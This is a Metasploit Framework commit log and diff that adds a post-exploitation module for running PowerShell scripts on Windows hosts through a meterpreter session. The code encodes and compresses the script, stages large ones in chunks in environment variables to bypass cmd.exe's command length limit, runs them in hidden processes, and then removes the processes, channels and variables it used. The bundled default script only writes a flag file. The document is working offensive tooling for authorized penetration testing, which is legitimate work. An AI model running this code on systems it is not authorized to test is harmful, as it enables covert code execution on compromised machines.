PowerShell post module download and exec
This adds sempervictus's PowerShell post module, along with a default post module one can use for quick testing (for expected results, see the screencap Gist at https://gist.github.com/6011cb87b01e970deca8 [Closes #403] Squashed commit of the following: commit c6b5a6aac1dc8781c67b611289d7710129592e83 Author: Tod Beardsley <todb@metasploit.com> Date: Mon May 21 14:43:48 2012 -0500 Minor tweaks to language commit ef088e135cd7b0ccb514a3011889154661d5bd09 Merge: 0a05455 1e14211 Author: Tod Beardsley <todb@metasploit.com> Date: Mon May 21 14:34:27 2012 -0500 Merge remote branch 'todb/default-powershell' into Pull403 commit 0a0545558604c53d4648e3314ca8963ff9b225a7 Author: Tod Beardsley <todb@metasploit.com> Date: Mon May 21 14:33:33 2012 -0500 Reverting unrelated telnet fix While I'm sure it's great, it needs to be tested. commit 1e1421102b44a4c60c6eb9b442227075e959d7c6 Author: Tod Beardsley <todb@metasploit.com> Date: Mon May 21 14:14:09 2012 -0500 Adds a default path to a script for exec_powershell.rb commit 9978787f44896d06744d50febf4344111edcd7b1 Author: Tod Beardsley <todb@metasploit.com> Date: Mon May 21 14:06:46 2012 -0500 Adds a new default powershell script commit25b605949fAuthor: RageLtMan <rageltman [at] sempervictus> Date: Mon May 21 14:15:15 2012 -0400 Synchronized SVIT version of lib...powershell.rb to github. Adds timeout option, check for script encoding, etc. Added post/windows/manage/powershell folder with script execution module. Other modules which can be placed here would be WinRM meterp exec, PS persistence, etc commitc4a7fd932fMerge:21b31f136207ebAuthor: RageLtMan <rageltman [at] sempervictus> Date: Mon May 21 14:07:26 2012 -0400 msfvenom formatting merge conflict fix commit36207eb21eMerge:c77eb034772c12Author: RageLtMan <rageltman [at] sempervictus> Date: Mon May 21 14:06:07 2012 -0400 Merge branch 'master' of https://github.com/rapid7/metasploit-framework commit21b31f10c5Merge:81a7d62c77eb03Author: RageLtMan <rageltman [at] sempervictus> Date: Fri May 18 12:57:52 2012 -0400 Merge branch 'master' into powershell commitc77eb03ca4Merge:89d5af752183aaAuthor: RageLtMan <rageltman [at] sempervictus> Date: Fri May 18 12:57:21 2012 -0400 Merge branch 'master' of https://github.com/rapid7/metasploit-framework commit89d5af7ab2Author: RageLtMan <rageltman [at] sempervictus> Date: Fri Mar 2 01:28:02 2012 -0500 Banner encoding fix when running against dd-wrt on ruby 1.9.3 commit81a7d62c6dAuthor: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:19:13 2012 -0400 powershell for msfvenom commit672c7bc37eMerge:3e86dc4ed542e2Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:08:12 2012 -0400 exe.rb merge cleanup commit3e86dc4c40Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:06:03 2012 -0400 psh encoder cleanup commitf619ed477fAuthor: RageLtMan <rageltman@sempervictus.com> Date: Sun Feb 5 13:35:11 2012 -0500 method call fix for psh-net encoder commit7b035e6da0Author: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:53:54 2012 -0500 PS encoders: .net and architecture dependent native (psh-net, psh) commit7a2749bf26Merge:32730b9f89853dAuthor: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:38:03 2012 -0500 Merge branch 'master' into powershell commit32730b96beMerge:e69fcd1f6a6963Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 10:33:17 2012 -0500 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell commite69fcd1a83Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:59:38 2012 -0500 msfvenom psh addition commit9a5d8ead7eAuthor: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:29:38 2012 -0500 Proper author reference commit9fd8ac75a8Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 19:07:30 2012 -0500 Fix script handling commitfa363dfe96Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 17:31:09 2012 -0500 added Msf::Post::Windows::Powershell, reworked post module to use mixin commite078d15b54Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 13:42:35 2012 -0500 vprint_good change commit355f8bb19aAuthor: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:50:51 2012 -0500 exec powershell module commit5f95094449Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:45:41 2012 -0500 powershell encoder support - Redmine Feature #6049
This commit is contained in:
RageLtMan
Tod Beardsley
parent
d273a0e44b
commit
125aa43072
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@ -95,9 +95,10 @@ module Powershell
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return encoded_expression
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end
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def execute_script(script)
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running_pids, open_channels = [], []
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def execute_script(script, time_out = 15)
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running_pids, open_channels = [], []
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# Execute using -EncodedCommand
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session.response_timeout = time_out
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cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
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"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
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@ -111,6 +112,11 @@ module Powershell
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end
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def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
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# Check to ensure script is encoded and compressed
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if compressed_script =~ /\s|\.|\;/
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compressed_script = compress_script(compressed_script)
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end
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# Divide the encoded script into 8000 byte chunks and iterate
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index = 0
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count = 8000
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@ -174,7 +180,7 @@ module Powershell
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return
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end
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def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
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def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
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# Remove environment variables
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env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
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env_del_command += "Select-String #{env_suffix}|%{"
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@ -194,7 +200,7 @@ module Powershell
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chan.channel.close()
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end
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::File.delete(script_file) if datastore['DELETE']
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::File.delete(script_file) if (script_file and delete)
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return
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end
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@ -0,0 +1,129 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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##
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# Original script comments by nick[at]executionflow.org:
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# Meterpreter script to deliver and execute powershell scripts using
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# a compression/encoding method based on the powershell PoC code
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# from rel1k and winfang98 at DEF CON 18. This script furthers the
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# idea by bypassing Windows' command character lmits, allowing the
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# execution of very large scripts. No files are ever written to disk.
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##
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require 'zlib' # TODO: check if this can be done with REX
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/windows/powershell'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Powershell
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def initialize(info={})
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super(update_info(info,
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'Name' => "Windows Manage PowerShell Download and/or Execute",
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'Description' => %q{
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This module will download and execute a PowerShell script over a meterpreter session.
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The user may also enter text substitutions to be made in memory before execution.
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Setting VERBOSE to true will output both the script prior to execution and the results.
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},
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'Platform' => ['windows'],
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'SessionTypes' => ['meterpreter'],
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'Author' => [
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'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
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'RageLtMan' # post module
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]
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))
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register_options(
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[
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OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
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], self.class)
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register_advanced_options(
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[
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OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
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OptBool.new( 'DELETE', [false, 'Delete file after execution', false ]),
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OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
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OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
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], self.class)
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end
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def run
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# Make sure we meet the requirements before running the script, note no need to return
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# unless error
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return 0 if ! (session.type == "meterpreter" || have_powershell?)
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# End of file marker
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eof = Rex::Text.rand_text_alpha(8)
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env_suffix = Rex::Text.rand_text_alpha(8)
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# check/set vars
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subs = process_subs(datastore['SUBSTITUTIONS'])
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script_in = read_script(datastore['SCRIPT'])
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print_status(script_in)
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# Make substitutions in script if needed
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script_in = make_subs(script_in, subs) unless subs.empty?
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# Get target's computer name
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computer_name = session.sys.config.sysinfo['Computer']
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# Create unique log directory
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log_dir = ::File.join(Msf::Config.log_directory,'scripts', computer_name)
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::FileUtils.mkdir_p(log_dir)
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# Define log filename
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script_ext = ::File.extname(datastore['SCRIPT'])
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script_base = ::File.basename(datastore['SCRIPT'], script_ext)
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time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
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log_file = ::File.join(log_dir,"#{script_base}-#{time_stamp}.txt")
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# Compress
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print_status('Compressing script contents.')
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compressed_script = compress_script(script_in, eof)
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if datastore['DRY_RUN']
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print_good("powershell -EncodedCommand #{compressed_script}")
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return
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end
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# If the compressed size is > 8100 bytes, launch stager
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if (compressed_script.size > 8100)
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print_error("Compressed size: #{compressed_script.size}")
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error_msg = "Compressed size may cause command to exceed "
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error_msg += "cmd.exe's 8kB character limit."
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print_error(error_msg)
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print_status('Launching stager:')
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script = stage_to_env(compressed_script, env_suffix)
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print_good("Payload successfully staged.")
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else
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print_good("Compressed size: #{compressed_script.size}")
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script = compressed_script
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end
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# Execute the powershell script
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print_status('Executing the script.')
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cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])
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# Write output to log
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print_status("Logging output to #{log_file}.")
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write_to_log(cmd_out, log_file, eof)
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# Clean up
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print_status('Cleaning up residual objects and processes.')
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clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
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# That's it
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print_good('Finished!')
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end
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end
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@ -0,0 +1,2 @@
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$someText = "Hello from Metasploit!" ; $someText > "C:\flag.txt"
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